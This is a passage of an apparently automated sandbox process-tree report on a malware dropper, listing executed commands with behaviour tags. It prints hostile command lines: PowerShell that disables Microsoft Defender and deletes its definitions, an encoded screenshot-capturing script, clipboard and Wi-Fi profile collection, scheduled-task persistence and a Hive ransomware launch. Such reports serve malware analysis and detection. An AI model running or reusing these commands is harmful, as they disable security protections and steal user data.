C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"23⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VdpP4GbADJ.bat"24⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500125⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"25⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\F0qtrCuOKA.bat"26⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500127⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:227⤵
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"27⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\KMG2LIZgv2.bat"28⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500129⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost29⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"29⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\lnXy25yoCy.bat"30⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500131⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost31⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"31⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\hyKfCYp7HR.bat"32⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 6500133⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost33⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\staticfile.exe"C:\Users\Admin\AppData\Local\staticfile.exe"33⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\javaw.exe"C:\Users\Admin\AppData\Local\Temp\Files\javaw.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exeC:\Users\Admin\AppData\Local\Temp\Files\1.exe3⤵
- Executes dropped EXE
-
C:\Windows\system32\whoami.exewhoami4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\teleport-assist-windows.exe"C:\Users\Admin\AppData\Local\Temp\Files\teleport-assist-windows.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\TP4A\Teleport-Assist\tp_assist.exeC:\Users\Admin\AppData\Roaming\TP4A\Teleport-Assist\tp_assist.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\INS8EBB.tmpC:\Users\Admin\AppData\Local\Temp\INS8EBB.tmp /SL3 $11005E C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe 1879986 1883400 619523⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Hive%20Ransomware.exe"C:\Users\Admin\AppData\Local\Temp\Files\Hive%20Ransomware.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c hive.bat >NUL 2>NUL3⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c shadow.bat >NUL 2>NUL3⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Xbest%20V1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Xbest%20V1.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Xbest%20V1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Xbest%20V1.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\Xbest%20V1.exe'"4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\Xbest%20V1.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All5⤵
- Deletes Windows Defender Definitions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "start bound.exe"4⤵
- Executes a command shell one-liner
-
C:\Users\Admin\AppData\Local\Temp\bound.exebound.exe5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
- Clipboard Data
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Clipboard Data
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"4⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profile5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\systeminfo.exesysteminfo5⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ni21gkbm\ni21gkbm.cmdline"6⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8CB2.tmp" "c:\Users\Admin\AppData\Local\Temp\ni21gkbm\CSC39611EA1BEA84C3095549FFC282ADD2.TMP"7⤵
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\getmac.exegetmac5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_4b8d61b5a6f660b5.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_4b8d61b5a6f660b5.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Files\Installer.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AutoGuarder_2.3.7.350.exe"C:\Users\Admin\AppData\Local\Temp\Files\AutoGuarder_2.3.7.350.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\qcoin133.exe"C:\Users\Admin\AppData\Local\Temp\Files\qcoin133.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Complexo%20v4.exe"C:\Users\Admin\AppData\Local\Temp\Files\Complexo%20v4.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ZJQPPAJN.exe"C:\Users\Admin\AppData\Local\Temp\Files\ZJQPPAJN.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"3⤵
-
C:\ProgramData\bnv_Valid\PReflector64.exeC:\ProgramData\bnv_Valid\PReflector64.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\2d7aaa6d163f48458905a62516fc1390.exe"C:\Users\Admin\AppData\Local\Temp\Files\2d7aaa6d163f48458905a62516fc1390.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pfntjejghjsdkr.exe"C:\Users\Admin\AppData\Local\Temp\Files\pfntjejghjsdkr.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bnoaprihjatuasss.exe"C:\Users\Admin\AppData\Local\Temp\Files\bnoaprihjatuasss.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1003b.exe"C:\Users\Admin\AppData\Local\Temp\Files\1003b.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_3a1cc00092af29d0.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_3a1cc00092af29d0.exe"2⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Files\test.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\540136498.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\540136498.ps1"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\Files\test.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\357200402.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\357200402.ps1"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\666.exe"C:\Users\Admin\AppData\Local\Temp\Files\666.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5812 -ip 58121⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004B8 0x00000000000004EC1⤵
- Suspicious use of AdjustPrivilegeToken
-
